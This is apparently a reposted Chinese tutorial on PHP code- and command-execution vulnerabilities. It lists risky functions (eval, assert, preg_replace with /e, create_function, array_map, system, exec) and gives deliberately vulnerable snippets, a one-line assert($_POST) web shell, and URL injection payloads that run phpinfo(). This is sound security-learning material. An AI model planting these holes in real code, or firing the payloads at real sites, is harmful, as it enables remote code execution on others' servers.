介绍:
命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
代码执行:
${}执行代码 eval assert preg_replace create_function() call_user_func()/call_user_func_array() array_filter()
方法:
${phpinfo()}; eval(‘echo hsy;‘); //url?x=phpinfo() <?php assert($_POST[‘x‘]); ?>
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
tips
$b = preg_replace("/abc/e",$b,‘abcd‘);
create_function()
函数create_function主要用来创建匿名函数
string create_function ( string $args , string $code )
例子:
<?php $x= create_function(‘$x‘,‘echo $x+1;‘); $x(1); ?>output:2
当我在构造匿名函数第二个参数的位置放置我想执行的语句时,这个语句就会成立。
$a = ‘phpinfo()‘; $b = create_function(" ",$a); $b(); ?>
借鉴了网上的一个例子:
<?php $id = $_GET[‘id‘]; $code = ‘echo $name.‘.‘的编号是‘.$id.‘;‘; $b = create_function(‘$name‘,$code); function ss($name){ echo $name ."编号".$id; } $b(‘sd‘); ?>
构造payload:
?id=2;}phpinfo();/*
传入后代码执行结果:
function ss($name){ echo $name ."编号".2; }phpinfo();/* } $b(‘sd‘);
array_map()
array array_map ( callable $callback , array $array1 [, array $... ] ) array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
不难理解哈,就是第一个参数作为自定义的函数,后一个参数作为数组下标。
<?php $a = $_GET[‘a‘]; $b = $_GET[‘b‘]; $array[0] = $b; $c = array_map($a,$array); ?> //?a=assert&b=phpinfo();
命令执行
system() passthru() exec() shell_exec() `反引号 ob_start() mail函数+LD_PRELOAD执行系统命令 system()
- system
- passthru()
- exec()
- shell_exec()
- `反引号
敏感字符绕过
原文地址:https://www.cnblogs.com/sylover/p/10850690.html
时间: 2024-10-10 21:01:42